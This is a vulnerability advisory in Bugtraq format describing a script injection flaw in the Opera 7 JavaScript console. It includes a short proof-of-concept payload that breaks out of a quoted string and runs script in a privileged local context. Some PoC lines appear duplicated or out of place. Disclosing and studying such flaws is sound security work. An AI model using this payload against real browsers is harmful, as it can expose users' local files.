Opera JavaScript Console Single Quote Attribute Injection Vulnerability

Bugtraq ID:	7449
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 28 2003 12:00AM
Updated:	Apr 28 2003 12:00AM
Credit:	Discovery of this issue is credited to nesumin <[email protected]>.
Vulnerable:	Opera Software Opera Web Browser 7.10 Opera Software Opera Web Browser 7.0 3win32 Opera Software Opera Web Browser 7.0 2win32 Opera Software Opera Web Browser 7.0 1win32
Not Vulnerable:

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

This issue is a variant of the vulnerability described in BID 6755, but is also reported to affect patched versions of the browser.

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

The following proof-of-concept examples were provided:

var message = "http://');alert(location.href+'";
opera.postError( message );
location.href = "file://localhost/console.html";

var message = "http://');alert(location.href+'";
opera.postError( message );

Additional exploit examples can be found in the attached Bugtraq reference.
location.href = "file://localhost/console.html";

Opera JavaScript Console Single Quote Attribute Injection Vulnerability

References:

• Opera Web Browser Home Page (Opera Software)
  
• [Opera 7] Yet Another Story of "Phantom of the Opera" (nesumin )
  
• RE: [Opera 7] Yet Another Story of "Phantom of the Opera" ("GreyMagic Software" )